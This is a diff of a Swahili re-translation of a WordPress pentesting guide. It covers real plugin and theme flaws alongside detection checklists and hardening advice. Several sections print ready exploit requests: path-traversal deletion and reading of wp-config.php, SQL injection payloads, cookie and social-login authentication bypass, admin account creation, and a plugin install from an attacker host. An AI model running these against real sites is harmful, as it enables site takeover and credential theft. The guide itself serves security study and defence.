SDKs zinazosomea headers maalum kuweka user context (mfano, `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Kagua REST registrations kwa privileged callbacks ambazo hazina ukaguzi madhubuti wa `permission_callback` na badala yake zinategemea request headers. -- Angalia matumizi ya core user-management functions (`wp_insert_user`, `wp_create_user`) ndani ya REST handlers ambazo zinalindwa tu kwa thamani za header. +- Tumia grep kutafuta `getallheaders()`, `$_SERVER['HTTP_...']`, au vendor SDKs zinazosasisha custom headers kuweka user context (mfano, `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Pitia REST registrations kwa privileged callbacks ambazo hazina ukaguzi imara wa `permission_callback` na badala yake zinategemea request headers. +- Tazama matumizi ya core user-management functions (`wp_insert_user`, `wp_create_user`) ndani ya REST handlers ambazo zinalindwa tu kwa thamani za header. -Kuimarisha +### Kuondolewa kwa faili bila uthibitisho kupitia wp_ajax_nopriv (Litho Theme <= 3.0) -- Usitoke uthibitisho au idhini kutoka kwa headers zinazodhibitiwa na mteja. -- Ikiwa reverse proxy lazima iingize identity, iweke mwisho wa kuamini kwenye proxy na ifute nakala za inbound (mfano, `unset X-Wcpay-Platform-Checkout-User` kwenye edge), kisha pita token iliyosainiwa na iverify server-side. -- Kwa REST routes zinazofanya vitendo vya privileged, inahitaji ukaguzi wa `current_user_can()` na `permission_callback` kali (USITUMIE `__return_true`). -- Tilie more first-party auth (cookies, application passwords, OAuth) badala ya “impersonation” kupitia headers. +Themes na plugins za WordPress mara nyingi hutoa AJAX handlers kupitia hooks `wp_ajax_` na `wp_ajax_nopriv_`. Wakati toleo la **_nopriv_** linapotumiwa **callback inakuwa inafikiwa na wageni wasioingia**, kwa hivyo kitendo chochote nyeti kinapaswa pia kutekeleza: -References: angalia viungo mwishoni mwa ukurasa huu kwa kesi ya umma na uchambuzi mpana. +1. Ukaguzi wa **capability** (mf. `current_user_can()` au angalau `is_user_logged_in()`), na +2. **CSRF nonce** iliyoathibitishwa na `check_ajax_referer()` / `wp_verify_nonce()`, na +3. **Usafishaji / uthibitishaji mkali wa input**. -### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) - -WordPress themes na plugins mara nyingi huonyesha AJAX handlers kupitia `wp_ajax_` na `wp_ajax_nopriv_` hooks. Wakati toleo la **_nopriv_** linapotumika **callback inafikiwa na wageni wasio na uthibitisho**, hivyo kitendo chochote chenye siri kinapaswa kutekeleza pia: - -1. Ukaguzi wa **capability** (mfano `current_user_can()` au angalau `is_user_logged_in()`), na -2. CSRF nonce iliyo validated na `check_ajax_referer()` / `wp_verify_nonce()`, na -3. Uwekaji wazi wa usafi / uthibitishaji wa pembejeo. - -The Litho multipurpose theme (< 3.1) alisahau udhibiti huo wa 3 katika kipengele cha *Remove Font Family* na hatimaye ilisambaza code ifuatayo (imefupishwa): +The Litho multipurpose theme (< 3.1) ilisahau udhibiti hizo 3 katika kipengele cha *Remove Font Family* na mwishowe ikatuma msimbo ufuatao (umepunguzwa): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -445,58 +436,35 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove ``` Masuala yaliyotokana na kipande hiki: -* **Unauthenticated access** – `wp_ajax_nopriv_` hook imejisajili. -* **No nonce / capability check** – mgeni yeyote anaweza kufikia endpoint. -* **No path sanitisation** – kamba ya `fontfamily` inayodhibitiwa na mtumiaji imeunganishwa kwenye filesystem path bila kuchujwa, ikiruhusu classic `../../` traversal. +* **Ufikiaji bila uthibitisho** – hook ya `wp_ajax_nopriv_` imejisajili. +* **Hakuna ukaguzi wa nonce / capability** – mgeni yeyote anaweza kufikia endpoint. +* **Hakuna kusafishwa kwa path** – mfuatano uliodhibitiwa na mtumiaji `fontfamily` unaunganishwa kwenye njia ya filesystem bila kuchujwa, kuruhusu `../../` traversal ya kawaida. #### Utekelezaji -Mshambuliaji anaweza kufuta faili au saraka yoyote **chini ya uploads base directory** (kawaida `/wp-content/uploads/`) kwa kutuma ombi moja la HTTP POST: +Mshambuliaji anaweza kufuta faili yoyote au saraka **chini ya saraka ya msingi ya uploads** (kwa kawaida `/wp-content/uploads/`) kwa kutuma ombi moja la HTTP POST: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Kwa sababu `wp-config.php` iko nje ya *uploads*, mfululizo wa `../` mara nne unatosha kwenye ufungaji wa chaguo-msingi. Kufuta `wp-config.php` kunalazimisha WordPress kuingia kwenye *musaidizi wa usakinishaji* kwenye ziara inayofuata, kuruhusu kunyongwa kwa tovuti kwa ukamilifu (mshambuliaji anatakiwa tu kutoa usanidi mpya wa DB na kuunda mtumiaji admin). +Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -Madhumuni mengine yenye athari ni pamoja na plugin/theme `.php` files (kwa kuvunja security plugins) au sheria za `.htaccess`. +Malengo mengine yenye athari ni faili za `.php` za plugin/theme (kuvunja plugin za usalama) au sheria za `.htaccess`. -#### Orodha ya kugundua +#### Detection checklist -* Kila callback ya `add_action( 'wp_ajax_nopriv_...')` inayokiita filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, n.k.). -* Kuunganisha pembejeo za mtumiaji zisizosafishwa ndani ya paths (tafuta `$_POST`, `$_GET`, `$_REQUEST`). -* Ukosefu wa `check_ajax_referer()` na `current_user_can()`/`is_user_logged_in()`. - -#### Kuimarisha -```php -function secure_remove_font_family() { -if ( ! is_user_logged_in() ) { -wp_send_json_error( 'forbidden', 403 ); -} -check_ajax_referer( 'litho_fonts_nonce' ); - -$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); -$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; - -if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { -wp_send_json_error( 'invalid path', 400 ); -} -// … proceed … -} -add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); -// 🔒 NO wp_ajax_nopriv_ registration -``` -> [!TIP] -> **Daima** chukulia operesheni yoyote ya kuandika/kufuta kwenye disk kama yenye ruhusa ya juu na hakikisha mara mbili: -> • Uthibitishaji • Uidhinishaji • Nonce • Usafishaji wa ingizo • Ushikaji wa njia (kwa mfano kupitia `realpath()` pamoja na `str_starts_with()`). +* Kila callback ya `add_action( 'wp_ajax_nopriv_...')` inayoitisha filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, n.k.). +* Kuambatanisha input ya mtumiaji isiyosafishwa ndani ya paths (tazama `$_POST`, `$_GET`, `$_REQUEST`). +* Kukosekana kwa `check_ajax_referer()` na `current_user_can()`/`is_user_logged_in()`. --- -### Kuongezeka kwa ruhusa kupitia urejeshaji wa role zilizo zamani na kukosa uidhinishaji (ASE "View Admin as Role") +### Kuinua mamlaka kupitia urejeshaji wa role zilizobaki na kukosekana kwa idhini (ASE "View Admin as Role") -Plugins nyingi hufanya utekelezaji wa kipengele cha "view as role" au kubadilisha role kwa muda kwa kuhifadhi role za awali kwenye user meta ili ziweze kurejeshwa baadaye. Ikiwa njia ya urejeshaji inategemea tu vigezo vya ombi (kwa mfano, `$_REQUEST['reset-for']`) na orodha inayotunzwa na plugin bila kukagua capabilities na nonce halali, hili linageuka kuwa kuongezeka kwa ruhusa kwa wima. +Mengi ya plugins hutekeleza kipengele cha "view as role" au kubadilisha role kwa muda kwa kuhifadhi role(s) za awali katika user meta ili ziweze kurejeshwa baadaye. Ikiwa njia ya urejeshaji inategemea tu vigezo vya ombi (mf., `$_REQUEST['reset-for']`) na orodha inayodumishwa na plugin bila kuangalia capabilities na nonce halali, hii inageuka kuwa kuinua mamlaka kwa mtazamo wima. -Mfano wa ulimwengu halisi ulipatikana kwenye plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Tawi la reset liliirejesha role kulingana na `reset-for=` ikiwa jina la mtumiaji liligundika kwenye array ya ndani `$options['viewing_admin_as_role_are']`, lakini halikufanya ukaguzi wa `current_user_can()` wala uthibitisho wa nonce kabla ya kuondoa role za sasa na kuziweka tena role zilizohifadhiwa kutoka user meta `_asenha_view_admin_as_original_roles`: +Mfano wa maisha halisi ulipatikana katika Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Tawi la reset liliurejesha role kulingana na `reset-for=` ikiwa jina la mtumiaji lilionekana katika array ya ndani `$options['viewing_admin_as_role_are']`, lakini halikufanya ukaguzi wa `current_user_can()` wala uhakiki wa nonce kabla ya kuondoa role za sasa na kuziwekea tena role zilizohifadhiwa kutoka user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -511,19 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Kwa nini inaweza kutumiwa +Kwa nini inaweza kutumika -- Inatumaini `$_REQUEST['reset-for']` na chaguo la plugin bila idhinisho upande wa server. -- Iwapo mtumiaji awali alikuwa na vibali vya juu vilivyohifadhiwa katika `_asenha_view_admin_as_original_roles` na alishushwa hadhi, anaweza kuvirudisha kwa kufikia njia ya reset. -- Katika baadhi ya mifumo, mtumiaji yeyote aliyethibitishwa anaweza kusababisha reset kwa jina la mtumiaji mwingine linaloendelea kuwepo katika `viewing_admin_as_role_are` (idhinishaji lililoharibika). +- Inaamini `$_REQUEST['reset-for']` na chaguo la plugin bila idhinisho upande wa seva. +- Ikiwa mtumiaji alikuwa na ruhusa za juu zilizohifadhiwa katika `_asenha_view_admin_as_original_roles` na baadaye alishushwa hadhi, anaweza kuzirejesha kwa kufikia reset path. +- Katika baadhi ya deployments, mtumiaji yeyote aliyethibitishwa angeweza kusababisha reset kwa jina la mtumiaji mwingine ambalo bado lipo katika `viewing_admin_as_role_are` (idhinishaji lililovunjika). -Mahitaji ya shambulio - -- Toleo la plugin lenye udhaifu na kipengele kimewezeshwa. -- Akaunti lengwa ina role ya juu iliyosalia iliyohifadhiwa katika user meta kutoka matumizi ya awali. -- Kikao chochote kilicho thibitishwa; kutokuwepo kwa nonce/capability kwenye mtiririko wa reset. - -Exploitation (example) +Matumizi ya udhaifu (mfano) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -531,36 +493,23 @@ Exploitation (example) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Kwenye builds zilizo hatarini hili huondoa roles za sasa na kuzirudisha roles za asili zilizohifadhiwa (kwa mfano, `administrator`), kwa ufanisi kuongeza ruhusa. +On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges. -Detection checklist +Orodha ya kugundua -- Angalia vipengele vya kubadilisha role ambavyo vinahifadhi “original roles” katika user meta (mf., `_asenha_view_admin_as_original_roles`). -- Tambua njia za reset/restore ambazo: -- Kusoma majina ya watumiaji kutoka `$_REQUEST` / `$_GET` / `$_POST`. -- Kubadilisha roles kupitia `add_role()` / `remove_role()` bila `current_user_can()` na `wp_verify_nonce()` / `check_admin_referer()`. -- Kuidhinishwa kwa msingi wa array ya chaguo la plugin (mf., `viewing_admin_as_role_are`) badala ya uwezo wa mhusika. - -Hardening - -- Lazimisha ukaguzi wa uwezo kwenye kila tawi linalobadilisha hali (mf., `current_user_can('manage_options')` au kali zaidi). -- Lazimisha nonces kwa mabadiliko yote ya role/permission na uyathibitishe: `check_admin_referer()` / `wp_verify_nonce()`. -- Usiwamini kamwe majina ya watumiaji yanayotolewa kupitia request; tatua mtumiaji lengwa upande wa server kulingana na mhusika aliyethibitishwa na sera wazi. -- Batilisha hali ya “original roles” wakati wa masasisho ya profile/role ili kuepuka urejeshaji wa ruhusa za juu zilizochakaa: -```php -add_action( 'profile_update', function( $user_id ) { -delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); -}, 10, 1 ); -``` -- Fikiria kuhifadhi minimal state na kutumia time-limited, capability-guarded tokens kwa temporary role switches. +- Angalia vipengele vya kubadilisha role vinavyohifadhi “original roles” katika user meta (mfano, `_asenha_view_admin_as_original_roles`). +- Tambua njia za reseti/urejesho ambazo: + - Soma majina ya watumiaji kutoka `$_REQUEST` / `$_GET` / `$_POST`. + - Badilisha roles kupitia `add_role()` / `remove_role()` bila `current_user_can()` na `wp_verify_nonce()` / `check_admin_referer()`. + - Rudisha idhini kwa kuzingatia array ya chaguo la plugin (mfano, `viewing_admin_as_role_are`) badala ya uwezo wa mhusika. --- -### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### Kuongezeka kwa ruhusa kwa watumiaji wasioathibitishwa kupitia cookie‑trusted user switching kwenye hook ya umma `init` (Service Finder “sf-booking”) -Baadhi ya plugins huunganisha user-switching helpers kwenye public `init` hook na hupata utambulisho kutoka kwa client-controlled cookie. Ikiwa code inapiga simu `wp_set_auth_cookie()` bila kuthibitisha authentication, capability na nonce halali, mgeni yeyote asiye na uthibitisho anaweza kulazimisha login kama user ID yoyote. +Baadhi ya plugins huunganisha user-switching helpers kwenye hook ya umma `init` na hutumia utambulisho kutoka kwa cookie inayodhibitiwa na mteja. Ikiwa msimbo unaita `wp_set_auth_cookie()` bila kuthibitisha authentication, capability na nonce halali, mgeni yeyote asiyetambulishwa anaweza kulazimisha login kama user ID yeyote. -Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): +Mfano wa kawaida wenye udhaifu (umeshindwa kidogo kutoka Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -589,11 +538,11 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -Kwa nini inaweza kutumiwa +Why it’s exploitable -- Hook ya umma ya `init` inafanya handler kupatikana kwa unauthenticated users (hakuna `is_user_logged_in()` guard). -- Utambulisho unatokana na cookie inayoweza kubadilishwa na client (`original_user_id`). -- Mwito wa moja kwa moja wa `wp_set_auth_cookie($uid)` unaingia muombaji kama mtumiaji huyo bila ukaguzi wowote wa capability/nonce checks. +- Hook ya `init` ya umma inafanya handler ipatikane kwa unauthenticated users (no `is_user_logged_in()` guard). +- Kitambulisho kinatokana na cookie inayoweza kubadilishwa na mteja (`original_user_id`). +- Simu ya moja kwa moja kwa `wp_set_auth_cookie($uid)` inamwingiza muombaji kama mtumiaji huyo bila capability/nonce checks. Exploitation (unauthenticated) ```http @@ -605,32 +554,32 @@ Connection: close ``` --- -### Mambo ya WAF kwa WordPress/plugin CVEs +### Mambo ya WAF kwa CVEs za WordPress/plugin -WAFs za edge/server zimetengenezwa kwa ajili ya mifumo mpana (SQLi, XSS, LFI). Makosa mengi yenye athari kubwa kwenye WordPress/plugin ni hitilafu za mantiki/uthibitisho ndani ya application ambazo zinaonekana kama trafiki isiyo hatari isipokuwa engine itakayofahamu WordPress routes na plugin semantics. +WAF za generic za edge/server zimeelekezwa kwa mifumo pana (SQLi, XSS, LFI). Matatizo mengi ya high‑impact ya WordPress/plugin ni hitilafu maalum za logic/auth za application ambazo zinaonekana kama trafiki isiyo hatari isipokuwa engine itakapotambua routes za WordPress na semantics za plugin. -Vidokezo vya Ofensi +Vidokezo vya kushambulia -- Lenga endpoints maalum za plugin na payloads safi: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Chunguza njia zisizo za uthibitisho kwanza (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads mara nyingi zinafanikiwa bila obfuscation. +- Lenga endpoints maalum za plugin kwa payloads safi: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Tumia njia zisizo za uthibitisho kwanza (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads mara nyingi zinafanikiwa bila obfuscation. - Mifano ya kawaida yenye athari kubwa: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. -Vidokezo vya Ulinzi +Vidokezo vya ulinzi -- Usitegemee saini za WAF za jumla kulinda plugin CVEs. Tekeleza virtual patches za application-layer zinazolenga udhaifu maalum au sasisha haraka. -- Pendelea positive-security checks ndani ya code (capabilities, nonces, strict input validation) badala ya negative regex filters. +- Usitegemee saini za generic za WAF kulinda CVEs za plugin. Tekeleza virtual patches maalum za vulnerability kwenye application-layer au sasisha haraka. +- Tumia positive-security checks ndani ya code (capabilities, nonces, strict input validation) badala ya negative regex filters. ## Ulinzi wa WordPress -### Sasisho za Mara kwa Mara +### Sasisho za kawaida -Hakikisha WordPress, plugins, na themes ziko kwenye toleo la sasa. Pia thibitisha kwamba automated updating imewezeshwa katika wp-config.php: +Hakikisha WordPress, plugins, na themes viko updated. Pia thibitisha kuwa automated updating imewezeshwa katika wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Pia, **weka tu WordPress plugins na themes zinazoweza kuaminika**. +Pia, **weka tu plugins na themes za WordPress zinazoweza kuaminika**. ### Plugins za Usalama @@ -640,16 +589,16 @@ Pia, **weka tu WordPress plugins na themes zinazoweza kuaminika**. ### **Mapendekezo Mengine** -- Ondoa mtumiaji chaguo-msingi **admin** +- Ondoa mtumiaji wa chaguo-msingi **admin** - Tumia **nywila zenye nguvu** na **2FA** - Kila mara **kagua** **ruhusa** za watumiaji -- **Punguza idadi ya jaribio za kuingia** ili kuzuia Brute Force attacks -- Badilisha jina la faili **`wp-admin.php`** na ruhusu ufikiaji tu ndani au kutoka anwani za IP maalum. +- **Punguza majaribio ya kuingia** ili kuzuia mashambulizi ya Brute Force +- Badilisha jina la faili **`wp-admin.php`** na ruhusu ufikiaji ndani tu au kutoka kwa anwani za IP maalum. -### Unauthenticated SQL Injection kutokana na ukosefu wa uthibitishaji (WP Job Portal <= 2.3.2) +### SQL Injection isiyothibitishwa kupitia uidhinishaji duni (WP Job Portal <= 2.3.2) -The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`: +Plugin ya recruitment ya WP Job Portal ilifunua kazi ya **savecategory** ambayo hatimaye inatekeleza msimbo ufuatao wenye udhaifu ndani ya `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -659,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Issues introduced by this snippet: +Masuala yaliyotokana na kipande hiki cha msimbo: -1. **Ingizo la mtumiaji lisilosafishwa** – `parentid` linaingia moja kwa moja kutoka HTTP request. +1. **Unsanitised user input** – `parentid` inatoka moja kwa moja kutoka kwenye ombi la HTTP. 2. **String concatenation inside the WHERE clause** – hakuna `is_numeric()` / `esc_sql()` / prepared statement. -3. **Unauthenticated reachability** – ingawa action inatekelezwa kupitia `admin-post.php`, ukaguzi wa pekee uliopo ni **CSRF nonce** (`wp_verify_nonce()`), ambao mtumiaji yeyote anaweza kuupata kutoka ukurasa wa umma unaoingiza shortcode `[wpjobportal_my_resumes]`. +3. **Unauthenticated reachability** – ingawa action inatekelezwa kupitia `admin-post.php`, ukaguzi pekee uliopo ni **CSRF nonce** (`wp_verify_nonce()`), ambao mgeni yeyote anaweza kuipata kutoka kwenye ukurasa wa umma unaojumuisha shortcode `[wpjobportal_my_resumes]`. -#### Utekelezaji +#### Exploitation -1. Pata nonce mpya: +1. Chukua nonce mpya: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Inject arbitrary SQL by abusing `parentid`: +2. Weka SQL yoyote kwa kutumia vibaya `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -679,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -The response discloses the result of the injected query or alters the database, proving SQLi. +Jibu linafunua matokeo ya query iliyotiwa au linabadilisha database, kuthibitisha SQLi. -### Kupakua Faili Bila Uthibitisho / Path Traversal (WP Job Portal <= 2.3.2) +### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`: +Kazi nyingine, **downloadcustomfile**, iliwaruhusu wageni kupakua **any file on disk** kupitia path traversal. Sink dhaifu iko katika `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` inadhibitiwa na mshambuliaji na imeunganishwa **bila kusafishwa**. Mara nyingine tena, kizuizi pekee ni **CSRF nonce** ambayo inaweza kupatikana kutoka kwenye ukurasa wa resume. +`$file_name` inayodhibitiwa na mshambuliaji na inachanganywa **bila kusafishwa**. Tena, kizuizi pekee ni **CSRF nonce** ambayo inaweza kupatikana kutoka ukurasa wa resume. -#### Exploitation +#### Utekelezaji ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -701,7 +650,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Seva inarudisha yaliyomo ya `wp-config.php`, leaking DB credentials and auth keys. +Seva inarejesha yaliyomo ya `wp-config.php`, leaking DB credentials and auth keys. + +## Uchukuzi wa akaunti bila uthibitisho kupitia Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) + +Mandhari/plugini nyingi huja na "social login" helpers zilizoonyeshwa kupitia admin-ajax.php. Ikiwa action ya AJAX bila uthibitisho (wp_ajax_nopriv_...) itaamini client-supplied identifiers wakati provider data inakosekana na kisha itaita wp_set_auth_cookie(), hili linakuwa full authentication bypass. + +Mfano wa kawaida wa muundo mbovu (umewekwa kwa ufupi) +```php +public function check_login() { +// ... request parsing ... +switch ($_POST['using']) { +case 'fb': /* set $user_email from verified Facebook token */ break; +case 'google': /* set $user_email from verified Google token */ break; +// other providers ... +default: /* unsupported/missing provider – execution continues */ break; +} + +// FALLBACK: trust POSTed "id" as email if provider data missing +$user_email = !empty($user_email) +? $user_email +: (!empty($_POST['id']) ? esc_attr($_POST['id']) : ''); + +if (empty($user_email)) { +wp_send_json(['status' => 'not_user']); +} + +$user = get_user_by('email', $user_email); +if ($user) { +wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user +wp_send_json(['status' => 'success', 'message' => 'Login successfully.']); +} +wp_send_json(['status' => 'not_user']); +} +// add_action('wp_ajax_nopriv_', [$this, 'check_login']); +``` +Kwa nini inaweza kutumika + +- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action). +- Hakuna ukaguzi wa nonce/capability kabla ya mabadiliko ya hali. +- Uthibitisho wa OAuth/OpenID provider umekosekana; default branch inakubali attacker input. +- get_user_by('email', $_POST['id']) ikifuatiwa na wp_set_auth_cookie($uid) inamtambulisha muomba kama anuani yoyote ya barua pepe iliyopo. + +Exploitation (unauthenticated) + +- Mahitaji ya awali: attacker anaweza kufikia /wp-admin/admin-ajax.php na anajua/anakisia anwani halali ya barua pepe ya mtumiaji. +- Weka provider kuwa thamani isiyoungwa mkono (au uiache) ili kufikia default branch na upitishie id=. +```http +POST /wp-admin/admin-ajax.php HTTP/1.1 +Host: victim.tld +Content-Type: application/x-www-form-urlencoded + +action=&using=bogus&id=admin%40example.com +``` + +```bash +curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ +-d "action=&using=bogus&id=admin%40example.com" +``` +Viashiria vilivyotarajiwa vya mafanikio + +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. + +Kupata jina la action + +- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. + +Orodha ya kugundua + +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. + +Kuimarisha + +- Usitafsiri utambulisho kutoka kwa pembejeo ya client. Kubali tu emails/IDs zinazoanzishwa na provider token/ID iliyothibitishwa. +- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. +- Thibitisha na hakiki majibu ya OAuth/OIDC upande wa server; kataa providers zisizopo au zisizo halali (usiwe na fallback kwa POST id). +- Fikiria kuzima kwa muda social login au kufanya virtual patching upande wa edge (zuia action iliyo dhaifu) hadi itakaposahihishwa. + +Tabia iliyorekebishwa (Jobmonster 4.8.0) + +- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). + +## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) + +Baadhi ya plugins zinaonyesha REST endpoints zinazotengeneza reusable “connection keys” au tokens bila kuthibitisha uwezo wa aliyeomba. Ikiwa route inathibitisha tu kwa sifa inayoweza kukisia (mfano, username) na haifungishi key kwa user/session yenye capability checks, mshambuliaji yeyote asiye authenticated anaweza kutengeneza key na kuita vitendo vyenye haki za juu (kuunda account ya admin, plugin actions → RCE). + +- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection +- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback +- Impact: full takeover by chaining the minted key to internal privileged actions + +PoC – tengeneza connection key na uitumie +```bash +# 1) Obtain key (unauthenticated). Exact payload varies per plugin +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ +-H 'Content-Type: application/json' \ +--data '{"username":"admin"}' +# → {"key":"", ...} + +# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin) +curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ +-H 'Content-Type: application/json' \ +-H 'X-Connection-Key: ' \ +--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' +``` +Kwa nini inaweza kutumiwa +- REST route nyeti inalindwa tu na uthibitisho wa utambulisho wa entropi ya chini (username) au permission_callback inayokosekana +- Hakuna utekelezaji wa capability; funguo iliyotengenezwa inakubaliwa kama bypass ya jumla + +Orodha ya utambuzi +- Grep code ya plugin kwa register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Route yoyote inayotoa tokens/keys msingi kwenye utambulisho uliowezwa na ombi (username/email) bila kuhusisha na mtumiaji aliyethibitishwa au capability +- Angalia routes zilizofuata zinazokubali token/key iliyotengenezwa bila ukaguzi wa capability upande wa server + +Kuimarisha usalama +- Kwa REST route yoyote yenye privileges: hitaji permission_callback inayotekeleza current_user_can() kwa capability inayohitajika +- Usitengeneze funguo zenye muda mrefu kutoka kwa utambulisho uliotolewa na mteja; ikiwa inahitajika, toa tokens fupi-muda, zenye uhusiano na mtumiaji baada ya authentication na ukague tena capabilities wakati wa matumizi +- Thibitisha muktadha wa mtumiaji wa mpiga wito (caller) (wp_set_current_user haitoshi peke yake) na kata maombi ambapo !is_user_logged_in() || !current_user_can() + +--- + +## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) + +Nonces zinazuia CSRF, si uthibitisho wa ruhusa. Ikiwa code itachukulia kupitishwa kwa nonce kama kibali na kisha kuruka ukaguzi wa capability kwa operesheni zenye ruhusa (mf., install/activate plugins), washambuliaji wasio na uthibitisho wanaweza kukidhi mahitaji dhaifu ya nonce na kufikia RCE kwa kusakinisha plugin backdoored au yenye udhaifu. + +- Vulnerable path: plugin/install_and_activate +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation + +PoC (umbo hutegemea plugin; ni kwa mfano tu) +```bash +curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ +-H 'Content-Type: application/json' \ +--data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' +``` +Detection checklist +- REST/AJAX handlers zinazobadilisha plugins/themes kwa kutumia tu wp_verify_nonce()/check_admin_referer() na bila capability check +- Njia yoyote ya code inayoweka $skip_caps = true baada ya nonce validation + +Hardening +- Daima tibu nonces kama tokeni za CSRF pekee; lazimisha capability checks bila kujali hali ya nonce +- Lazimisha current_user_can('install_plugins') na current_user_can('activate_plugins') kabla ya kufikia installer code +- Kataa ufikiaji usioathibitishwa; epuka kufichua nopriv AJAX actions kwa mifereji inayohitaji ruhusa + +--- + +## SQLi bila uthibitisho kupitia parameter ya s (search) katika depicter-* actions (Depicter Slider ≤ 3.6.1) + +Vitendo kadhaa za depicter-* zilitumia parameter s (search) na kuichanganya ndani ya maswali ya SQL bila parameterization. + +- Kigezo: s (search) +- Hitilafu: kuunganisha mnyororo wa maandishi moja kwa moja katika WHERE/LIKE clauses; hakuna prepared statements/sanitization +- Athari: database exfiltration (users, hashes), lateral movement + +PoC +```bash +# Replace action with the affected depicter-* handler on the target +curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ +--data-urlencode 'action=depicter_search' \ +--data-urlencode "s=' UNION 